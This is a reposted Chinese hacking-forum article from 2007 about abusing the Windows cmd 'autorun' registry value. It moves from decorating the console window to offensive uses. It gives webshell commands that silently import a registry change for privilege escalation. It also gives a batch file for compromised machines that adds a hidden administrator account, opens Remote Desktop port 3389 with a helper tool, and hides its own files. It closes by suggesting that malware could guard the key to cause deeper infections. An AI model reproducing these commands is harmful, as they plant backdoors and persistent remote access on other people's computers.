您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

CMD也闹鬼!

2007-11-5 10:11| 投稿: security

摘要:         CMD?大家熟悉吧?我们可以在这里面查看进程,查看端口号,可以干许多的事!可是你有没有想过,当我们打开CMD的瞬间...
        CMD?大家熟悉吧?我们可以在这里面查看进程,查看端口号,可以干许多的事!可是你有没有想过,当我们打开CMD的瞬间,我们就有可能中了木马或者病毒了!这可不是说的玩的,现在就让我们一起看看就是怎么一回事?        话说回来,这还是我有一回在网上转的时候,看到别人可以用这个方法来装扮你的CMD窗口。当时我就想,既然你可以装扮你的窗口,为什么不能干别的呢?我们开始吧!装扮CMD的方法很简单,就是写一个批处理,内容如下: Copy code @ECHO OFF cls echo "++++++++++++++++++++++++++++++++++++++++++++++++++++" echo "+                冰的原点                          " echo "+                                                  " echo "+      我的博客:[url]http://hi.baidu.com/[/url]冰的原点      " echo "+                                                  " echo "+                                                  " echo "+            欢迎大家访问                          " echo "++++++++++++++++++++++++++++++++++++++++++++++++++++" title 冰的原点 color E         保存为11.bat,随便放在哪个盘里,这里我放在C盘,然后找到注册表,到这个目录下:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor],在右边出现了一个字符串值:autorun.然后右键修改,在弹出的对话框中填入11.bat的绝对路径。如图1. =700) window.open('http://www.xhonker.com/forum/attachment/154_61_28538ba88f38639.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_28538ba88f38639.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0> 然后点击确定。现在我们再到运行里输入CMD试试,会出现这样的画面。如图2. =700) window.open('http://www.xhonker.com/forum/attachment/154_61_1875cc0f2913d70.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_1875cc0f2913d70.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0> 到这里为止我们美化我们的CMD窗口就完工了,当然这里面的代码大家可以随便改。 说到这里,大家可能已经想到了这篇文章要讲的是什么了。不过,我在做测试的时候,还是遇到些麻烦.我们把原来代码改成这样:start http://www.baidu.com 然后保存。看看会出现什么效果,如图3. =700) window.open('http://www.xhonker.com/forum/attachment/154_61_37c17ab61ab316d.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_37c17ab61ab316d.jpg" width=700 onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0> 百度是打开了,可CMD窗口下,不是明显的摆着我们的命令么?这个怎么能行,一下子就被看穿了!我们得想想办法把这些命令隐藏起来。对,我们用ECHO OFF 试试!再来看下效果,如图4. =700) window.open('http://www.xhonker.com/forum/attachment/154_61_fbb9501a32c98b0.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_fbb9501a32c98b0.jpg" width=700 onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0> 很明显的哦。大家都看到了,我们的11.bat不是很明显的暴露在C盘么?这个很好办,我们把它放得隐藏点就得了,每个盘都有一个Recycled目录,只要我们把它传到这里面来,就会显得隐藏一点。好了,原理就讲到这里了,我们来分析下,这个东东到底可以干什么? 想法一: 提权。曾经我想过用这个方法来用做提权,先在webshell里执行: Copy code ECHO Windows Registry Editor Version 5.00>door.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]>>door.reg ECHO "autorun"="c:\\Recycled\\13.bat">>door.reg REGEDIT /S door.reg DEL /F /Q door.reg 然后把13.bat传到c:\Recycled下,然后等着管理员上钩。我在本机上自己用NETBOX搭建个WEB环境,测试的时候确实是成功了。可是我后来转念一想,要是能够执行CMD命令了,还用着到这样么?确实用来提权效果就不明显了。 想法二: 保护我们的肉鸡。这个想法实施起来也可行!我们把他们的注册表做下手脚,然后传个13.bat上去,13.bat内容如下: Copy code @echo off net user admin$ angel /add & net localgroup administrators admin$ /add wrsky.exe -o 3389 attrib +h +s +a +r 13.bat attrib +h +s +a +r wrsky.exe 这里的wrsky.exe是指开3389的工具,不需要重启的哦。把它和13.bat 放在同一个目录下.这样的效果很明显,只要一动CMD,就会自动添加admin$的管理员帐户,而且会神不知鬼不觉得把3389给开了!我在本机做的测试,大家看图5 =700) window.open('http://www.xhonker.com/forum/attachment/154_61_0f6321ee027586a.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_0f6321ee027586a.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0> ,6.图5显示这两个文件同时被加上系统属性,而通过图6 =700) window.open('http://www.xhonker.com/forum/attachment/154_61_cf66785d479e34e.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_cf66785d479e34e.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0> 我们可以看到3389终端已经打开了,是不是很过瘾呀?这,不失为又一种保护肉鸡的办法哦。 想法三:         这次我想到了病毒。因为好多人都喜欢在CMD下杀毒,我想如果病毒对HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor下的autorun项值进行监视,防止我们修改注册表,然后再加载些病毒或者木马之类的东东的话,这样我们打开CMD时就有可能中更多的毒,伤的更深!         这篇文章的方法很有局限性,写这篇文章的作用就是想抛砖引玉,给大家提供个思路而已,我想肯定还有更多的方法把这个方法装扮的更加隐藏,更有危害性。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部